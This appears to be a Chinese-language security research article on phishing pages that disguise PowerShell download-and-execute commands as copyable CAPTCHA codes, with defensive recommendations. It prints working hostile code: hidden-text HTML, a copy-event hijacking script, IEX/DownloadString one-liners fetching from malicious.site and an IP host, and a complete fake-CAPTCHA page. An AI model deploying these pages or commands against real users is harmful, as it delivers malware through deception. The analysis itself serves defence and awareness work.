
摘要:
近年来,网络钓鱼攻击持续演化,攻击者不断利用用户行为习惯设计更具隐蔽性的攻击手段。本文系统分析了一种新型钓鱼技术:攻击者通过伪造的图形验证码(CAPTCHA)诱导用户执行复制操作,从而在用户不知情的情况下将恶意PowerShell脚本注入其剪贴板。一旦用户将内容粘贴至命令行环境,即会触发恶意软件下载与执行流程。该攻击模式绕过了传统依赖链接点击或附件打开的传播路径,转而利用用户对验证码交互的信任以及高频使用的复制-粘贴行为,显著提升了攻击成功率与隐蔽性。本文详细剖析了该攻击的技术实现机制、典型攻击链路、检测难点,并结合实际代码示例说明其运作原理。同时,提出若干针对性防御策略,包括终端用户行为规范、剪贴板内容监控、浏览器安全扩展及系统级防护机制。研究表明,此类攻击对现有终端安全体系构成实质性挑战,亟需从人机交互安全与运行时防护两个维度协同应对。
关键词:网络钓鱼;CAPTCHA伪造;剪贴板劫持;PowerShell脚本;人机交互安全;终端防护
一、引言
验证码(Completely Automated Public Turing test to tell Computers and Humans Apart, CAPTCHA)自2003年提出以来,被广泛用于区分人类用户与自动化程序,在注册、登录、评论等场景中扮演关键角色。由于其普遍性和用户对其“安全性”的默认信任,CAPTCHA逐渐成为社会工程攻击的新载体。近期,安全研究人员披露了一类新型钓鱼活动,攻击者不再依赖诱导用户点击恶意链接或下载附件,而是通过伪造的CAPTCHA界面劫持用户剪贴板内容,进而实现恶意代码的静默植入。此类攻击的核心在于对用户常规操作——“复制验证码”——的滥用,使得攻击过程在用户无感知状态下完成初始载荷投递。
与传统钓鱼攻击相比,该方法具有三大特征:一是交互伪装性强,攻击页面往往模仿主流服务提供商(如Google、Microsoft、Cloudflare)的验证流程;二是攻击路径短,仅需一次复制操作即可完成载荷注入;三是规避检测能力强,因不涉及可执行文件下载或可疑URL跳转,传统基于签名或行为的终端防护工具难以及时识别。尤其值得注意的是,攻击成功的关键并非技术复杂度,而是对用户心理模型与操作习惯的精准利用。
本文旨在深入剖析此类基于伪造CAPTCHA的剪贴板劫持攻击(以下简称“CAPTCHA剪贴板劫持攻击”),从攻击原理、技术实现、传播路径、检测挑战到防御对策进行系统性研究。全文结构如下:第二部分介绍攻击背景与相关工作;第三部分详细阐述攻击链路与关键技术细节;第四部分通过代码示例还原攻击全过程;第五部分分析现有防御体系的局限性;第六部分提出多层次防御建议;第七部分总结全文并展望未来研究方向。

恶意软件骷髅
二、背景与相关工作
(一)CAPTCHA的发展与滥用
CAPTCHA最初设计用于阻止机器人批量注册或刷票,其形式包括文本识别、图像选择、滑动拼图等。随着深度学习技术的发展,传统文本CAPTCHA已被证明易受OCR破解,促使业界转向更复杂的交互式验证(如reCAPTCHA v3)。然而,CAPTCHA的高用户接受度也使其成为社会工程的理想掩护。已有研究表明,攻击者曾利用伪造的“安全验证”页面诱导用户输入凭证或启用宏功能,但尚未见系统性利用CAPTCHA作为剪贴板劫持入口的报道。
(二)剪贴板劫持的历史演进
剪贴板劫持并非新技术。早在2010年代,加密货币挖矿木马便通过监控剪贴板中的钱包地址实现替换攻击。近年来,攻击者进一步将剪贴板作为恶意载荷传递通道。例如,某些恶意网站在用户访问时自动覆盖剪贴板内容为Base64编码的脚本。然而,此类攻击通常依赖JavaScript自动写入剪贴板,易被现代浏览器拦截(需用户授权)。而本文所述攻击则反其道而行之:不主动写入,而是诱导用户“主动复制”,从而绕过浏览器权限限制。
(三)PowerShell作为攻击载体
PowerShell因其强大的系统管理能力、内置Windows环境、支持远程脚本执行等特点,长期被红队与攻击者滥用。微软虽引入AMSI(Antimalware Scan Interface)和脚本块日志等机制,但混淆、编码、分段加载等技术仍可有效规避检测。尤其当恶意脚本以纯文本形式存在于剪贴板中时,缺乏上下文的静态分析难以判定其恶意性。
综上,CAPTCHA剪贴板劫持攻击是社会工程、人机交互漏洞与脚本滥用三者的结合体,代表了钓鱼攻击向“行为诱导型”演进的新趋势。

三、攻击机制与技术实现
(一)攻击流程概述
完整的攻击链包含以下五个阶段:
诱骗阶段:用户被引导至伪造的登录或验证页面,页面显示一个看似正常的CAPTCHA(如“请输入下方字符”并附带一组字母数字组合)。
复制诱导阶段:页面提示用户“复制验证码以继续”,或在视觉上暗示该文本可复制(如添加“📋”图标或边框高亮)。
剪贴板注入阶段:用户选中文本并执行复制操作(Ctrl+C 或右键复制),实际复制的内容并非可见字符,而是隐藏的恶意PowerShell命令。
粘贴执行阶段:用户在PowerShell、CMD或终端中粘贴内容并回车,触发脚本执行。
载荷投递阶段:脚本从远程服务器下载第二阶段载荷(如Cobalt Strike Beacon、RAT等),完成持久化或数据窃取。
(二)关键技术细节
HTML/CSS层欺骗
攻击者利用HTML的<span>或<div>元素叠加显示与隐藏内容。例如:
<div style="position: relative; user-select: text;">
<span style="color: transparent; font-size: 0;">iex (New-Object Net.WebClient).DownloadString('http://malicious.site/payload.ps1')</span>
<span style="position: absolute; top: 0; left: 0; color: black; font-size: 16px;">A7B9C2</span>
</div>
在此结构中,用户看到的是“A7B9C2”,但实际选中复制的是透明且字号为0的恶意脚本。由于两层内容位置重叠,视觉上完全一致,用户无法察觉差异。
JavaScript辅助增强
部分攻击页面会监听copy事件,在用户复制时动态替换剪贴板内容:
document.addEventListener('copy', function(e) {
e.clipboardData.setData('text/plain',
'powershell -w hidden -c "IEX (New-Object Net.WebClient).DownloadString(\'http://malicious.site/stage2.ps1\')"'
);
e.preventDefault();
});
此方法无需隐藏文本,直接劫持复制行为。但需注意,现代浏览器(如Chrome 66+)要求页面处于活跃状态(focused)才能监听copy事件,且部分安全扩展会阻止此类操作。
PowerShell载荷构造
典型载荷采用最小化命令以降低怀疑。例如:
iex(iwr http://x.x.x.x/s.txt)
其中s.txt实为PowerShell脚本,通过Invoke-WebRequest(iwr)下载并由Invoke-Expression(iex)执行。为规避AMSI,攻击者常使用字符串拼接、Base64编码或反射加载:
$code = [System.Convert]::FromBase64String("..."); IEX ([System.Text.Encoding]::UTF8.GetString($code))
此类载荷在剪贴板中表现为一行文本,普通用户难以识别其危害。
(三)攻击隐蔽性分析
无网络请求异常:初始页面加载正常,无恶意域名解析或大量外联。
无文件落地:第一阶段载荷驻留内存,不写入磁盘。
用户主动行为:复制操作由用户发起,非脚本自动执行,规避行为监控。
上下文合理:在“验证”场景下要求复制验证码符合用户预期。

四、攻击实例还原
为验证攻击可行性,我们构建了一个模拟环境。攻击页面fake-captcha.html代码如下:
<!DOCTYPE html>
<html>
<head>
<title>Security Verification</title>
<style>
.captcha-container {
font-family: monospace;
font-size: 24px;
padding: 20px;
border: 1px solid #ccc;
display: inline-block;
user-select: text;
position: relative;
}
.visible {
position: absolute;
top: 0;
left: 0;
color: black;
}
.hidden {
color: transparent;
font-size: 0;
}
</style>
</head>
<body>
<h2>Please verify you're not a robot</h2>
<p>Copy the code below to continue:</p>
<div class="captcha-container">
<span class="hidden">powershell -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.100/mal.ps1')"</span>
<span class="visible">K3P8Q1</span>
</div>
<button onclick="alert('Verification failed. Please try again.')">Verify</button>
</body>
</html>
当用户访问该页面,看到“K3P8Q1”并复制后,剪贴板实际内容为:
powershell -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.100/mal.ps1')"
若用户随后打开PowerShell并粘贴执行,系统将静默下载并运行mal.ps1。我们在本地搭建HTTP服务器提供该脚本,内容为:
# mal.ps1
Add-Type -AssemblyName System.Windows.Forms
[System.Windows.Forms.MessageBox]::Show("Payload executed!", "Alert", "OK", "Warning")
# 实际攻击中此处为C2通信、持久化等操作
测试表明,在Windows 10 + PowerShell 5.1环境下,该流程可完整复现攻击效果。即使启用Windows Defender实时保护,因脚本未落地且AMSI未触发(取决于编码方式),仍可能绕过检测。
五、现有防御体系的局限性
(一)终端安全软件
传统EDR/XDR产品主要监控进程创建、网络连接、文件写入等行为。而CAPTCHA剪贴板劫持攻击在粘贴前无任何恶意行为,粘贴后若使用内存加载技术,亦可规避文件扫描。此外,PowerShell命令若经混淆,AMSI可能无法正确解码分析。
(二)浏览器安全机制
现代浏览器对execCommand('copy')和clipboard.writeText()实施权限控制,但对用户主动复制(Ctrl+C)无限制。CSS透明文本欺骗属于呈现层问题,浏览器无法判断内容真实性。Content Security Policy(CSP)对此类攻击无效,因恶意内容内嵌于HTML而非外部资源。
(三)用户教育
尽管安全意识培训强调“勿随意粘贴代码”,但在高强度工作场景下,用户易忽略上下文风险。尤其当验证码出现在看似合法的流程中(如企业SSO登录),警惕性显著下降。
(四)剪贴板监控缺失
操作系统层面缺乏对剪贴板内容的语义分析。Windows Clipboard History(Win+V)仅提供历史记录,无恶意内容告警功能。第三方剪贴板管理器多关注效率,而非安全。
六、防御对策建议
(一)终端用户层面
粘贴前预览:在粘贴至命令行前,先粘贴至记事本等纯文本编辑器检查内容。
禁用不必要的PowerShell执行策略:通过组策略限制RemoteSigned或Unrestricted策略,强制脚本需签名。
启用脚本块日志:在Windows事件日志中开启PowerShell Script Block Logging,便于事后审计。
(二)浏览器扩展层面
开发轻量级安全扩展,实现以下功能:
检测页面中存在透明/零字号文本与可见文本重叠;
在用户复制文本时弹出提示:“检测到潜在隐藏内容,是否确认复制?”;
对复制内容进行正则匹配,若含iex、iwr、DownloadString等关键字,发出警告。
(三)操作系统与终端防护层面
剪贴板内容分类与告警:集成ML模型对剪贴板文本进行实时分类,识别可疑PowerShell/Shell命令。
命令行粘贴保护:在PowerShell/CMD中引入“粘贴确认”机制,类似Linux的safe-paste插件,防止意外执行。
强化AMSI与Constrained Language Mode:限制脚本可调用的.NET类,阻断WebClient等高危对象使用。
(四)企业安全策略
部署网络层DLP,监控终端对外发起的可疑PowerShell Web请求;
对员工终端实施应用白名单(如Windows AppLocker),禁止未授权脚本执行;
定期开展针对性钓鱼演练,模拟CAPTCHA剪贴板劫持场景,提升识别能力。
七、结论
本文系统研究了基于伪造CAPTCHA的剪贴板劫持钓鱼攻击。该攻击通过精心设计的前端欺骗技术,将恶意PowerShell脚本伪装为验证码,利用用户复制-粘贴的自然行为完成初始访问。其实现无需复杂漏洞利用,却能有效绕过现有安全防线,体现出社会工程与技术滥用的高度融合。
研究表明,此类攻击的成功依赖于三个核心要素:用户对CAPTCHA交互的信任、复制操作的无意识性、以及命令行环境的高权限特性。防御需从人、端、网多维度协同:在用户侧强化行为规范,在终端侧增强剪贴板与脚本运行时监控,在网络侧实施细粒度流量分析。
未来工作可聚焦于自动化检测此类前端欺骗页面(如基于DOM树异常分析)、开发操作系统原生的剪贴板安全模块,以及探索在命令行环境中引入上下文感知的执行控制机制。随着人机交互界面日益复杂,针对“可信交互元素”的滥用将成为网络安全的新前沿,值得持续关注与研究。
编辑:芦笛(公共互联网反网络钓鱼工作组)
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。